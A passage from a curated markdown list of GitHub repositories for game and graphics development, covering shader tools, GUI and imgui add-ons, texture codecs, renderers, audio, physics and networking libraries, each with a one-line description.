- [glslcc](https://github.com/septag/glslcc) : GLSL cross-compiler tool (GLSL->HLSL, MSL, GLES2, GLES3, GLSLv3), using SPIRV-cross and glslang
- [graphicsfuzz](https://github.com/google/graphicsfuzz) : A testing framework for automatically finding and simplifying bugs in graphics shader compilers.
- [colourblind](https://github.com/azmr/colourblind) : A C header file & shader for simulating colourblindness and checking contrast.
- [hsluv](https://github.com/hsluv/hsluv) : Human-friendly HSL, reference implementation (revision 4)
- [hlslparser](https://github.com/Thekla/hlslparser) : HLSL Parser and Translator for HLSL, GLSL, and MSL.
- [hlsl2glslfork](https://github.com/aras-p/hlsl2glslfork) : HLSL to GLSL language translator based on ATI's HLSL2GLSL. Used in Unity.
- [shader-playground](https://github.com/tgjones/shader-playground) : Shader playground website for exploring HLSL, GLSL, SPIR-V compilers
- [hlslparser](https://github.com/Nomoresleep/hlslparser) : HLSL Parser and Translator for HLSL, GLSL, and MSL.
- [hqx-shader](https://github.com/CrossVR/hqx-shader) : GPU shader version of HQx filter
- [pmfx-shader](https://github.com/polymonster/pmfx-shader) : Cross platform shader system targetting HLSL, GLSL, Metal and SPIR-V. Offline compilation, reflection, metadata +so much more.
- [ShaderDebugger](https://github.com/dfranx/ShaderDebugger) : [DEPRECATED] C++ library for debugging HLSL & GLSL shaders
- GUI
- [elements](https://github.com/cycfi/elements) : Elements C++ GUI library
- [qt3d](https://github.com/qt/qt3d) : Qt3D
- [LCUI](https://github.com/lc-soft/LCUI) : A small C library for building user interfaces with C, XML and CSS.
- [flatui](https://github.com/google/flatui) : Efficient Immediate Mode UI for Games
- [turbobadger](https://github.com/tesch1/turbobadger) : Small footprint UI library for games & apps (branch)
- [horus_ui](https://github.com/7thFACTOR/horus_ui) : HorusUI Immediate Mode Graphical User Interface
- [zep](https://github.com/cmaughan/zep) : Zep - An embeddable editor, with optional support for using vim keystrokes.
- [Ultralight](https://github.com/ultralight-ux/Ultralight) : Ultralight— a lightweight, pure-GPU, HTML UI renderer for native apps.
- [skui](https://github.com/skui-org/skui) : Skia-based C++ UI framework
- [raygui](https://github.com/raysan5/raygui) : A simple and easy-to-use immediate-mode gui library
- [ImHotKey](https://github.com/CedricGuillemet/ImHotKey) : Single Header Hotkey editor for dear imgui
- [libui](https://github.com/andlabs/libui) : Simple and portable (but not inflexible) GUI library in C that uses the native GUI technologies of each platform it supports.
- [IconFontCppHeaders](https://github.com/juliettef/IconFontCppHeaders) : C, C++ headers and C# classes for icon fonts: Font Awesome, Fork Awesome, Material Design, Material Design icons, Kenney game icons and Ionicons
- [lvgl](https://github.com/littlevgl/lvgl) : Powerful and easy-to-use embedded GUI with many widgets, advanced visual effects (opacity, antialiasing, animations) and low memory requirements (16K RAM, 64K Flash).
- [GuiLite](https://github.com/idea4good/GuiLite) : Small-Fast-Injectable GUI library(5 KLOC) for all platforms
- [microui](https://github.com/rxi/microui) : Tiny immediate-mode UI library
- [GWork](https://github.com/billyquith/GWork) : Skinnable GUI with useful widget collection. Fork of GWEN.
- [layout](https://github.com/randrew/layout) : Single-file library for calculating 2D UI layouts using stacking boxes. Compiles as C99 or C++.
- [nanovg](https://github.com/memononen/nanovg) : Antialiased 2D vector drawing library on top of OpenGL for UI and visualizations.
- [fastuidraw](https://github.com/intel/fastuidraw) :
- [nanogui](https://github.com/wjakob/nanogui) : Minimalistic GUI library for OpenGL
- [CEGUI](https://github.com/OpenTechEngine/CEGUI) : mirror of upstream hg repo so we can use it as a git submodule
- [glw_imgui](https://github.com/yak32/glw_imgui) : Code-driven, simple and bloat-free GUI system.
- [nuklear](https://github.com/vurtun/nuklear) : A single-header ANSI C gui library
- [webview](https://github.com/zserge/webview) : Tiny cross-platform webview library for C/C++/Golang. Uses WebKit (Gtk/Cocoa) and MSHTML (Windows)
- [laf](https://github.com/aseprite/laf) : A C++ library to create desktop applications
- [Nuklear](https://github.com/Immediate-Mode-UI/Nuklear) : A single-header ANSI C immediate mode cross-platform GUI library
- [RapidGUI](https://github.com/fuqunaga/RapidGUI) : Unity OnGUI(IMGUI) extensions for Rapid prototyping/development
- [imtui](https://github.com/ggerganov/imtui) : ImTui: Immediate Mode Text-based User Interface
- [nanogui](https://github.com/dalerank/nanogui) : Minimalistic C++/Python UI library for OpenGL/GLES/DX11/DX12/Vulkan
- [nana](https://github.com/cnjinhao/nana) : a modern C++ GUI library
- [nodegui](https://github.com/nodegui/nodegui) : A library for building cross-platform native desktop applications with Node.js and CSS
- imgui
- [imgui](https://github.com/ocornut/imgui) : Dear ImGui: Bloat-free Immediate Mode Graphical User interface for C++ with minimal dependencies
- [imgui_markdown](https://github.com/juliettef/imgui_markdown) : Markdown for Dear ImGui
- [imgui_tabs](https://github.com/scottmudge/imgui_tabs) : Tab module for imgui. Should be relatively forwardly compatible.
- [ImWindow](https://github.com/thennequin/ImWindow) : Window and GUI system based on Dear ImGui from OCornut
- [imgui_club](https://github.com/ocornut/imgui_club) : Nice things to use along dear imgui
- [cimgui](https://github.com/sonoro1234/cimgui) : c-api for imgui and implementations programmatically generated (https://github.com/ocornut/imgui)
- [ImGuizmo](https://github.com/CedricGuillemet/ImGuizmo) : Immediate mode 3D gizmo for scene editing and other controls based on Dear Imgui
- [imguiDock](https://github.com/BentleyBlanks/imguiDock) : An addon of imgui for supporting docks in the imgui's window
- [imgui-node-editor](https://github.com/thedmd/imgui-node-editor) : Node Editor using ImGui
- [ImGuiColorTextEdit](https://github.com/BalazsJako/ImGuiColorTextEdit) : Colorizing text editor for ImGui
- [imgui-goodies](https://github.com/aoterodelaroza/imgui-goodies) : Widgets and utilities for ImGui
- [imgui-ws](https://github.com/ggerganov/imgui-ws) : Dear ImGui over WebSockets
- [imgui-plot](https://github.com/soulthreads/imgui-plot) : An improved plot widget for Dear ImGui, aimed at displaying audio data
- [imnodes](https://github.com/Nelarius/imnodes) : A small, dependency-free node editor for dear imgui
- [ImNodes](https://github.com/rokups/ImNodes) : Node graph implementation for Dear ImGui. Used in https://github.com/rokups/rbfx
- [imgInspect](https://github.com/CedricGuillemet/imgInspect) : imgui control to inspect image pixels
- [imgui_software_renderer](https://github.com/emilk/imgui_software_renderer) : A Software Renderer for Dear ImGui
- [ImFastRast](https://github.com/malamanteau/ImFastRast) : Fast(er) Software Rasterizer for Dear ImGui
- [ImGuiAl](https://github.com/leiradel/ImGuiAl) : Widgets for imgui
- [imgui](https://github.com/Flix01/imgui) : Dear ImGui Addons Branch = plain unmodified dear imgui plus some extra addon.
- [imgui](https://github.com/ubisoftinc/imgui) : Dear ImGui: Bloat-free Immediate Mode Graphical User interface for C++ with minimal dependencies
- [imgui](https://github.com/dmccloskey/imgui) : Dear ImGui: Bloat-free Immediate Mode Graphical User interface for C++ with minimal dependencies
- [imGuIZMO.quat](https://github.com/BrutPitt/imGuIZMO.quat) : GIZMO 3D object manipulator/orienteering widget for ImGui
- [bsfImgui](https://github.com/pgruenbacher/bsfImgui) : bsf imgui plugin
- [ImGui-Addons](https://github.com/gallickgunner/ImGui-Addons) : Cross Platform File Dialog for Dear-ImGui
- [sequentity](https://github.com/alanjfs/sequentity) : A single-file, immediate-mode sequencer widget for C++17, Dear ImGui and EnTT
- [ImGuiFileDialog](https://github.com/aiekick/ImGuiFileDialog) : File Dialog for ImGui : https://github.com/aiekick/ImGuiFileDialog
- [imgui-filebrowser](https://github.com/AirGuanZ/imgui-filebrowser) : File browser implementation for dear-imgui. C++17 is required.
- [imgui_entt_entity_editor](https://github.com/Green-Sky/imgui_entt_entity_editor) : A drop-in entity editor for EnTT with ImGui
- [LegitProfiler](https://github.com/Raikiri/LegitProfiler) : A simple ImGui component for rendering profiling data
- DebugDraw
- [polyscope](https://github.com/nmwsharp/polyscope) : A prototyping-oriented UI for geometric algorithms
- [im3d](https://github.com/john-chapman/im3d) : Immediate mode rendering and 3d gizmos.
- [tinygizmo](https://github.com/ddiakopoulos/tinygizmo) : An immediate mode 3D gimzo (translation, rotation, scale for scene editing) in ~1200 LoC
- [debug-draw](https://github.com/glampert/debug-draw) : Immediate-mode, renderer agnostic, lightweight debug drawing API.
- [arcball_camera](https://github.com/nlguillemot/arcball_camera) : Single-header single-function C/C++ immediate-mode camera for your graphics demos
- [flythrough_camera](https://github.com/nlguillemot/flythrough_camera) : Single-header single-function C/C++ immediate-mode camera for your graphics demos
- [LibGizmo](https://github.com/CedricGuillemet/LibGizmo) : Gizmo control library for 3D object manipulation (4x4 matrix)
- Animation
- [appleseed](https://github.com/appleseedhq/appleseed) : A modern open source rendering engine for animation and visual effects
- [aer-engine](https://github.com/tcoppex/aer-engine) : An OpenGL 4.3 / C++ 11 rendering engine oriented towards animation.
- [skellington](https://github.com/damian0815/skellington) : Implementation of Le, Hodgins 2016 paper "Real-time Skeletal Skinning with Optimized Centers of Rotation"
- [acl](https://github.com/nfrechette/acl) : Animation Compression Library
- [ozz-animation](https://github.com/guillaumeblanc/ozz-animation) : Open source c++ skeletal animation library and toolset
- [aseprite_parser](https://github.com/fanick1/aseprite_parser) : parser of Aseprite files, used in duel6r
- [aseprite-rgba-converter](https://github.com/iamPHEN/aseprite-rgba-converter) : Tiny project to convert a .ase to a RGBA Byte array
- [aseprite](https://github.com/aseprite/aseprite) : Animated sprite editor & pixel art tool (Windows, macOS, Linux)
- [aseprite](https://github.com/ggez/aseprite) : A parser for the aseprite sprite editor files
- [bvh11](https://github.com/yuki-koyama/bvh11) : A tiny C++11 library for reading BVH motion capture data
- [HybridPose](https://github.com/chensong1995/HybridPose) : HybridPose: 6D Object Pose Estimation under Hybrid Representation (CVPR 2020)
- [Choreograph](https://github.com/sansumbrella/Choreograph) : A simple, modern C++ animation and timing library.
- Fonts & Texts
- [pathfinder](https://github.com/servo/pathfinder) : A fast, practical GPU rasterizer for fonts and vector graphics
- [breaking_the_physical_limits_of_fonts](https://github.com/graphitemaster/breaking_the_physical_limits_of_fonts) : Breaking the physical limits of fonts
- [BitmapFont](https://github.com/Beeblerox/BitmapFont) : cross-platform bitmap font implementation
- [mv_easy_font](https://github.com/vassvik/mv_easy_font) :
- [blit-fonts](https://github.com/azmr/blit-fonts) : A family of small, fast, and simple bitmap fonts in single-file C headers
- Images & Textures
- [astc_dec](https://github.com/richgel999/astc_dec) : Single source file ASTC texture decompression in C++ (derived from Google's open source Android project)
- [blurhash](https://github.com/woltapp/blurhash) : A very compact representation of a placeholder for an image.
- [image-resampler](https://github.com/ramenhut/image-resampler) : A flexible image resampling library
- [basis_universal](https://github.com/BinomialLLC/basis_universal) : Basis Universal GPU Texture Codec
- [sproutline](https://github.com/ands/sproutline) : A small single-file library for sprite outline extraction and simplification for C/C++
- [atlasc](https://github.com/septag/atlasc) : Builds atlas texture from a bunch of input images.
- [squeezer](https://github.com/huxingyi/squeezer) : Texture Packer for Game Development Using MaxRects Algorithm
- [Imogen](https://github.com/CedricGuillemet/Imogen) : GPU Texture Generator
- [Fornos](https://github.com/caosdoar/Fornos) : GPU Texture Baking Tool
- [crabby](https://github.com/mainroach/crabby) : A texture compression algorithm for sprite sheets that allows decompression on the GPU during rendering.
- [GPUImage](https://github.com/BradLarson/GPUImage) : An open source iOS framework for GPU-based image and video processing
- [image_lib](https://github.com/rampantpixels/image_lib) : Image loading library
- [knusperli](https://github.com/google/knusperli) : A deblocking JPEG decoder
- [bc7enc16](https://github.com/richgel999/bc7enc16) : Fast single source file BC7/BPTC texture encoder with perceptual metric support
- [img2ktx](https://github.com/cdwfs/img2ktx) : Converts common image formats (PNG, JPG, etc.) to GPU-native compressed (BCn, ETC, ASTC) in KTX containers.
- [Zpng](https://github.com/catid/Zpng) : Better lossless compression than PNG with a simpler algorithm
- [lodepng](https://github.com/lvandeve/lodepng) : PNG encoder and decoder in C and C++.
- [bimg](https://github.com/bkaradzic/bimg) : Image library.
- [topng](https://github.com/FRex/topng) : Convert image to png using stb_image and stb_image_write
- [gif_load](https://github.com/hidefromkgb/gif_load) : A slim, fast and header-only GIF loader written in C
- [mozjpeg](https://github.com/mozilla/mozjpeg) : Improved JPEG encoder.
- [nanosvg](https://github.com/memononen/nanosvg) : Simple stupid SVG parser
- [gif-h](https://github.com/charlietangora/gif-h) : Simple C++ one-header library for the creation of animated GIFs from image data.
- [TinyJPEG](https://github.com/serge-rgb/TinyJPEG) : Single header lib for JPEG encoding. Public domain. C99. stb style.
- [compressonator](https://github.com/GPUOpen-Tools/compressonator) : Tool suite for Texture and 3D Model Compression, Optimization and Analysis using CPUs, GPUs and APUs
- [unity-texture-packer](https://github.com/andydbc/unity-texture-packer) : Utility to combine color channels from different textures into a single output.
- [dds-ktx](https://github.com/septag/dds-ktx) : Single header KTX/DDS reader
- [tacit-texview](https://github.com/bluescan/tacit-texview) : A texture viewer for tga, png, exr, dds, gif, hdr, jpg, tif, ico, and bmp files. Uses Dear ImGui, OpenGL, and Tacent. Useful for game devs as it displays information like the presence of an alpha c…
- [tinyexr](https://github.com/syoyo/tinyexr) : Tiny OpenEXR image loader/saver library
- [crunch](https://github.com/BinomialLLC/crunch) : Advanced DXTc texture compression and transcoding library
- PBR & RT & PT
- [raytracer-gpupro4](https://github.com/elfrank/raytracer-gpupro4) :
- [VisRTX](https://github.com/NVIDIA/VisRTX) : Visualization framework powered by NVIDIA RTX technology
- [rdb](https://github.com/qatnonoil/rdb) : Ray-tracing visual debugger
- [nanort](https://github.com/lighttransport/nanort) : NanoRT, single header only modern ray tracing kernel.
- [pbrt-v3](https://github.com/mmp/pbrt-v3) : Source code for pbrt, the renderer described in the third edition of "Physically Based Rendering: From Theory To Implementation", by Matt Pharr, Wenzel Jakob, and Greg Humphreys.
- [BRDFGenerator](https://github.com/HectorMF/BRDFGenerator) : BRDF LUT generation for PBR Pipelines
- [pbrt-parser](https://github.com/ingowald/pbrt-parser) : A simple parser for the PBRT file format
- [GettingStartedWithRTXRayTracing](https://github.com/NVIDIAGameWorks/GettingStartedWithRTXRayTracing) : Getting Started with RTX Ray Tracing
- [Fox2](https://github.com/FRex/Fox2) : FoxRaycaster, optimized, fixed and with a CUDA option
- [mitsuba-im](https://github.com/tszirr/mitsuba-im) : Immediate-mode fork of the mitsuba renderer
- [mitsuba](https://github.com/mitsuba-renderer/mitsuba) : Mitsuba renderer main repository
- [LGHDemo](https://github.com/DQLin/LGHDemo) : Real-Time Rendering with Lighting Grid Hierarchy I3D 2019 Demo
- [gpu-pathtracer](https://github.com/brickray/gpu-pathtracer) : physically based path tracer on gpu
- [sparse-voxel-octrees](https://github.com/tunabrain/sparse-voxel-octrees) : CPU Sparse Voxel Octree Implementation
- [tungsten](https://github.com/tunabrain/tungsten) : High performance physically based renderer in C++11
- [MiyukiRenderer](https://github.com/shiinamiyuki/MiyukiRenderer) : High performance pbrt-style renderer
- [ray-tracing-gems](https://github.com/Apress/ray-tracing-gems) : Source Code for "Ray Tracing Gems: High-Quality and Real-Time Rendering with DXR and Other APIs" by Eric Haines and Tomas Akenine-Möller
- [RayTracingInVulkan](https://github.com/GPSnoopy/RayTracingInVulkan) : Implementation of Peter Shirley's Ray Tracing In One Weekend book using Vulkan and NVIDIA's RTX extension.
- [RayTracingInVulkan](https://github.com/xindzju/RayTracingInVulkan) : Implementation of Peter Shirley's Ray Tracing In One Weekend book using Vulkan and NVIDIA's RTX extension.
- [RadeonRays_SDK](https://github.com/GPUOpen-LibrariesAndSDKs/RadeonRays_SDK) : Radeon Rays is ray intersection acceleration library for hardware and software multiplatforms using CPU and GPU
- [filament](https://github.com/google/filament) : Filament is a real-time physically based rendering engine for Android, iOS, Windows, Linux, macOS and WASM/WebGL
- [ToyPathTracer](https://github.com/aras-p/ToyPathTracer) : Toy path tracer for my own learning purposes (CPU/GPU, C++/C#, Win/Mac/Wasm, DX11/Metal, also Unity)
- [PBR](https://github.com/Nadrin/PBR) : An implementation of physically based shading model & image based lighting in various graphics APIs.
- [IBLBaker](https://github.com/derkreature/IBLBaker) : Light probe generation and BRDF authoring for physically based shading.
- [The-Forge](https://github.com/ConfettiFX/The-Forge) : The Forge Cross-Platform Rendering Framework PC, Linux, Ray Tracing, macOS / iOS, Android, XBOX, PS4
- [simple-spectral](https://github.com/imallett/simple-spectral) : A Simple Spectral Renderer
- [MaskedOcclusionCulling](https://github.com/GameTechDev/MaskedOcclusionCulling) : Example code for the research paper "Masked Software Occlusion Culling"; implements an efficient alternative to the hierarchical depth buffer algorithm.
## Multimedia
[Back to top](#Index)
- Audio
- [soloud](https://github.com/jarikomppa/soloud) : Free, easy, portable audio engine for games
- [openal-soft](https://github.com/kcat/openal-soft) : OpenAL Soft is a software implementation of the OpenAL 3D audio API.
- [libsnd](https://github.com/everdrone/libsnd) : Digital Signal Processing Library and Audio Toolbox for the Modern Synthesist.
- [HISE](https://github.com/christophhart/HISE) : The open source framework for sample based instruments
- [miniaudio](https://github.com/dr-soft/miniaudio) : Single file audio playback and capture library written in C.
- [helm](https://github.com/mtytel/helm) : Helm - a free polyphonic synth with lots of modulation
- [sfMidi](https://github.com/JonnyPtn/sfMidi) : Library for playing midi files with SFML
- [Cadence](https://github.com/falkTX/Cadence) : Collection of tools useful for audio production
- [Carla](https://github.com/falkTX/Carla) : Audio plugin host
- [RenderMan](https://github.com/fedden/RenderMan) : Command line C++ and Python VSTi Host library with MFCC, FFT, RMS and audio extraction and .wav writing.
- [PLEBTracker](https://github.com/danfrz/PLEBTracker) : Ncurses based audio tracker program inspired by goattracker and milkytracker
- [LabSound](https://github.com/LabSound/LabSound) : modern C++ graph-based audio engine
- [MIDI_controller](https://github.com/tttapa/MIDI_controller) : This is a library for creating a MIDI controller using an Arduino or Teensy board.
- [oboe](https://github.com/google/oboe) : Oboe is a C++ library that makes it easy to build high-performance audio apps on Android.
- [Twist](https://github.com/DCubix/Twist) : Twist - node-based audio synthesizer
- [blastmidi](https://github.com/blastbay/blastmidi) : A C library to read standard MIDI files.
- [ass](https://github.com/fungos/ass) : ASS: Audio Stupidly Simple
- [FAudio](https://github.com/FNA-XNA/FAudio) : FAudio - Accuracy-focused XAudio reimplementation for open platforms
- [libxm](https://github.com/Artefact2/libxm) : A small XM (FastTracker II Extended Module) player library.
- [minimp3](https://github.com/lieff/minimp3) : Minimalistic MP3 decoder single header library
- [libnyquist](https://github.com/ddiakopoulos/libnyquist) : Cross platform C++11 library for decoding audio (mp3, wav, ogg, opus, flac, etc)
- [cute_dsp](https://github.com/themattrosen/cute_dsp) : Utility library for cute_sound.
- [DSP-Cpp-filters](https://github.com/dimtass/DSP-Cpp-filters) : DSP C++ audio filters
- [DSPFIR](https://github.com/Atrix256/DSPFIR) : C++ to go with blog post https://blog.demofox.org/2020/01/05/fir-audio-data-filters/
- [iPlug2](https://github.com/iPlug2/iPlug2) : C++ Audio Plug-in Framework for desktop, mobile and web [PRE-RELEASE]
- [rfxgen](https://github.com/raysan5/rfxgen) : A simple and easy-to-use fx sounds generator
- [raudio](https://github.com/raysan5/raudio) : A simple and easy-to-use audio library based on miniaudio
- Audio Synthesis and Speech recognition
- [flite](https://github.com/festvox/flite) : A small fast portable speech synthesis system
- [codespeak](https://github.com/sethwilsonUS/codespeak) : A web-based speech-to-code editor for humans.
- [subsync](https://github.com/sc0ty/subsync) : Subtitle Speech Synchronizer
- [GranularSynth](https://github.com/Atrix256/GranularSynth) :
- [speech_synth_series](https://github.com/bisqwit/speech_synth_series) : Let’s Create a Speech Synthesizer
- [synthv1](https://github.com/rncbc/synthv1) : synthv1 - an old-school polyphonic synthesizer
- [DeepSpeech](https://github.com/mozilla/DeepSpeech) : A TensorFlow implementation of Baidu's DeepSpeech architecture
- [pocketsphinx](https://github.com/cmusphinx/pocketsphinx) : PocketSphinx is a lightweight speech recognition engine, specifically tuned for handheld and mobile devices, though it works equally well on the desktop
- [Tonic](https://github.com/TonicAudio/Tonic) : Easy and efficient audio synthesis in C++
- [stk](https://github.com/thestk/stk) : The Synthesis ToolKit in C++ (STK) is a set of open source audio signal processing and algorithmic synthesis classes written in the C++ programming language.
- Video
- [videoInput](https://github.com/ofTheo/videoInput) : A video capture library for windows.
- [FFmpeg](https://github.com/FFmpeg/FFmpeg) : Mirror of git://source.ffmpeg.org/ffmpeg.git
- [MiniVideo](https://github.com/emericg/MiniVideo) : A multimedia framework developed from scratch in C/C++, bundled with test programs and a neat media analyzer.
- [mpv](https://github.com/mpv-player/mpv) : Video player based on MPlayer/mplayer2
- [minimp4](https://github.com/lieff/minimp4) : Minimalistic MP4 mux/demux single header library
- [pl_mpeg](https://github.com/phoboslab/pl_mpeg) : Single file C library for decoding MPEG1 Video and MP2 Audio
- [FFMpeg-decode-example](https://github.com/UnickSoft/FFMpeg-decode-example) : Example how to use ffmpeg to decode video file.
## Physics
[Back to top](#Index)
- [GamePhysicsCookbook](https://github.com/gszauer/GamePhysicsCookbook) : Source code for Game Physics Cookbook
- 2D Physics
- [Box2D](https://github.com/erincatto/Box2D) : Box2D is a 2D physics engine for games
- [b2dJson](https://github.com/iforce2d/b2dJson) : Utilities to load scenes created by the R.U.B.E Box2D editor
- [phyxed-2d](https://github.com/Srekel/phyxed-2d) : A 2d physics engine with fixed-point support.
- [Physac](https://github.com/victorfisac/Physac) : 2D physics header-only library for videogames developed in C using raylib library.
- [box2d-lite](https://github.com/erincatto/box2d-lite) : A small 2D physics engine
- [PlayRho](https://github.com/louis-langholtz/PlayRho) : Real-time oriented physics engine and library that's currently best suited for 2D games.
- [liquidfun](https://github.com/google/liquidfun) : 2D physics engine for games
- 3D Physics
- [bullet3](https://github.com/bulletphysics/bullet3) : Bullet Physics SDK: real-time collision detection and multi-physics simulation for VR, games, visual effects, robotics, machine learning etc.
- [PhysX-3.4](https://github.com/NVIDIAGameWorks/PhysX-3.4) : NVIDIA PhysX SDK 3.4
- [ragdoll_simulator](https://github.com/SaladJack/ragdoll_simulator) : ragdoll simulator based on PhysX-3.3
- [physics_playground](https://github.com/avoroshilov/physics_playground) : Improved version of real-time physics engine that couples FEM-based deformables and rigid body dynamics
- [reactphysics3d](https://github.com/DanielChappuis/reactphysics3d) : Open source C++ physics engine library in 3D
- [BVH-based-Collision-Detection-Scheme](https://github.com/littlemine/BVH-based-Collision-Detection-Scheme) : General broad-phase collision detection framework using BVH and BVTT front tracking.
- [cyclone-physics](https://github.com/idmillington/cyclone-physics) : The Physics engine that accompanies the book "Game Physics Engine Design"
- [glChAoS.P](https://github.com/BrutPitt/glChAoS.P) : Real time 3D strange attractors scout and hypercomplex fractals
- [bounce](https://github.com/irlanrobson/bounce) : Bounce is a 3D physics engine for games.
- [newton-dynamics](https://github.com/MADEAPPS/newton-dynamics) : Newton Dynamics is an integrated solution for real time simulation of physics environments.
- [nudge](https://github.com/rasmusbarr/nudge) : A small data-oriented and SIMD-optimized 3D rigid body physics library.
- Water & Fluids
- [waves](https://github.com/dli/waves) : Ocean Wave Simulation - http://david.li/waves
- [wfc](https://github.com/emilk/wfc) : A C++ port of Wave Function Collapse Tiling
- [fluid-engine-dev](https://github.com/doyubkim/fluid-engine-dev) : Fluid simulation engine for computer graphics applications
- [fluids](https://github.com/aiwl/fluids) : Simple "Stable Fluids" Implementation
- [water-wave-packets](https://github.com/jeschke/water-wave-packets) : Sandbox binary and source code for the Siggraph 2017 paper "Water Wave Packets" by Stefan Jeschke (NVIDIA) and Chris Wojtan (IST Austria)
- [GridFluidSim3D](https://github.com/rlguy/GridFluidSim3D) : A PIC/FLIP fluid simulation based on the methods found in Robert Bridson's "Fluid Simulation for Computer Graphics"
- [RealtimeWater](https://github.com/hpatjens/RealtimeWater) :
- [FluidEngine](https://github.com/ZeusYang/FluidEngine) : Offline fluid simulation solver adopted from https://github.com/doyubkim/fluid-engine-dev.
- [Blender-FLIP-Fluids](https://github.com/rlguy/Blender-FLIP-Fluids) : FLIP Fluids is a powerful liquid simulation plugin that gives you the ability to create high quality fluid effects all within Blender, the free and open source 3D creation suite.
- [incremental-fluids](https://github.com/tunabrain/incremental-fluids) : Simple, single-file fluid solvers for learning purposes
- [Fluid-Simulation](https://github.com/983/Fluid-Simulation) : Fluid Simulation on CPU and GPU in C++ with OpenGL
- [WaterSurfaceWavelets](https://github.com/lecopivo/WaterSurfaceWavelets) :
- [Bimocq](https://github.com/ziyinq/Bimocq) : Efficient and Conservative Fluids Using Bidirectional Mapping
- IK
- [invk](https://github.com/ramakarl/invk) : Invk - Inverse Kinematics Library with Quaternions
- [gear](https://github.com/junggon/gear) : A C++ library for kinematics and dynamics of articulated rigid body systems.
- [softIkSolver](https://github.com/Toolchefs/softIkSolver) : Maya Soft IK Solver
- Cloth
- [Yarn-cloth-sim](https://github.com/wkindling/Yarn-cloth-sim) : Implementation of ‘Yarn-Level Simulation of Woven Cloth’ on Siggraph Asia 2014.
- [libwetcloth](https://github.com/nepluno/libwetcloth) : A Multi-Scale Model for Simulating Liquid-Fabric Interactions
- [GPU_cloth](https://github.com/likangning93/GPU_cloth) :
- [FastMassSpring](https://github.com/sam007961/FastMassSpring) : Interactive cloth simulator using the method described in the SIGGRAPH paper "Fast Simulation of Mass-Spring Systems" by Liu, T., Bargteil, A. W., Obrien, J. F., & Kavan, L.
- [ThunderLoom](https://github.com/Thunderloom/ThunderLoom) : A physically based shader for woven cloth
## Networking
[Back to top](#Index)
- [LUrlParser](https://github.com/corporateshark/LUrlParser) : Lightweight URL & URI parser (RFC 1738, RFC 3986)
- [wangle](https://github.com/facebook/wangle) : Wangle is a framework providing a set of common client/server abstractions for building services in a consistent, modular, and composable way.
- TCP/UDP/HTTP
- [netcode.io](https://github.com/networkprotocol/netcode.io) : A protocol for secure client/server connections over UDP
- [enet](https://github.com/lsalzman/enet) : ENet reliable UDP networking library
- [minihttp](https://github.com/fgenesis/minihttp) : A minimal 2-file (cpp+h) TCP & HTTP client implementation. Supports GET & simple POST. Optional SSL via PolarSSL/mbedTLS. Cross-platform, uses POSIX or Win32 API.
- [SFNUL](https://github.com/binary1248/SFNUL) : Simple and Fast Network Utility Library
- [uWebSockets](https://github.com/uNetworking/uWebSockets) : Simple, secure & standards compliant web I/O for the most demanding of applications
- [net11](https://github.com/whizzter/net11) : Simple embeddable C++11 async tcp,http and websocket serving.
- [libclub](https://github.com/inetic/libclub) : Lightweight Peer-to-Peer networking engine for real time applications
- [cxxhttp](https://github.com/ef-gy/cxxhttp) : Asynchronous, Header-only C++ HTTP-over-(TCP|UNIX Socket|STDIO) Library
- [librg](https://github.com/librg/librg) : Build simple and fast cross-platform multiplayer
- [utp-native](https://github.com/mafintosh/utp-native) : Native bindings for libutp
- [czspas](https://github.com/ruifig/czspas) : Minimalistic socket library inspired by Asio/Boost Asio, implemented in 1 single header file
- [netlibrary](https://github.com/matt-attack/netlibrary) : A simple networking library for C++. Designed with games in mind, but can be used for other things. Tested to work on Android and Windows.
- [RakNet](https://github.com/facebookarchive/RakNet) : RakNet is a cross platform, open source, C++ networking engine for game programmers.
- [frnetlib](https://github.com/Cloaked9000/frnetlib) : Small and fast cross-platform networking library, with support for messaging, IPv6, HTTP, SSL and WebSocket.
- [GameNetworkingSockets](https://github.com/ValveSoftware/GameNetworkingSockets) : Reliable & unreliable messages over UDP. Robust message fragmentation & reassembly. Encryption.
- [QuantumGate](https://github.com/kareldonk/QuantumGate) : QuantumGate is a peer-to-peer (P2P) communications protocol, library and API written in C++.
- [rttp](https://github.com/rtttech/rttp) : RTTP - A Reliable Realtime Transport Protocol
- [clsocket](https://github.com/DFHack/clsocket) : SimpleSockets is a lightweight set of classes that allow developers to implement IP based network programs.
- [https_client](https://github.com/HISONA/https_client) : HTTP/HTTPS REST Client C Library
- [libquicknet](https://github.com/Dahrkael/libquicknet) : Simple and small reliable UDP networking library for games
- [NetDynamics](https://github.com/nxrighthere/NetDynamics) : Data-oriented networking playground for the reliable UDP transports
- [cpp-Socket](https://github.com/Krozark/cpp-Socket) : Some class to help to construct client/server with soket and serilized datas.
- [cpp-ORM](https://github.com/Krozark/cpp-ORM) : A project to create a simple ORM.
- [mbedtls](https://github.com/ARMmbed/mbedtls) : An open source, portable, easy to use, readable and flexible SSL library
- [cpp-httplib](https://github.com/yhirose/cpp-httplib) : A C++ header-only HTTP/HTTPS server and client library
- [rinetd](https://github.com/samhocevar/rinetd) : TCP/UDP port redirector
- [swrap](https://github.com/BareRose/swrap) : Portable, single-file, protocol-agnostic TCP and UDP socket wrapper, primarily for game networking
- [librg-cpp](https://github.com/markatk/librg-cpp) : C++ wrapper for librg network library
- [zed_net](https://github.com/Smilex/zed_net) : Single file public domain networking library
- [http-parser](https://github.com/nodejs/http-parser) : http request/response parser for c
- [botan](https://github.com/randombit/botan) : Cryptography Toolkit
- [reliable.io](https://github.com/networkprotocol/reliable.io) : A packet acknowledgement system for UDP protocols
- [PcapPlusPlus](https://github.com/seladb/PcapPlusPlus) : PcapPlusPlus is a multiplatform C++ library for capturing, parsing and crafting of network packets. It is designed to be efficient, powerful and easy to use. It provides C++ wrappers for the most p…
- SQL
- [scylla](https://github.com/scylladb/scylla) : NoSQL data store using the seastar framework, compatible with Apache Cassandra
- [NLDatabase](https://github.com/raven-ie/NLDatabase) : Lightweight C++ wrapper for SQLite
- [ndb](https://github.com/ads00/ndb) : Neuroshok DataBase
- [unqlite](https://github.com/symisc/unqlite) : An Embedded NoSQL, Transactional Database Engine
- [sqlpp11](https://github.com/rbock/sqlpp11) : A type safe SQL template library for C++
- [SQLiteCpp](https://github.com/SRombauts/SQLiteCpp) : SQLiteC++ (SQLiteCpp) is a smart and easy to use C++ SQLite3 wrapper.
- [hiberlite](https://github.com/paulftw/hiberlite) : C++ ORM for SQLite
- [sqlite_orm](https://github.com/fnc12/sqlite_orm) : SQLite ORM light header only library for modern C++
- RPC
- [rpclib](https://github.com/rpclib/rpclib) : rpclib is a modern C++ msgpack-RPC server and client library
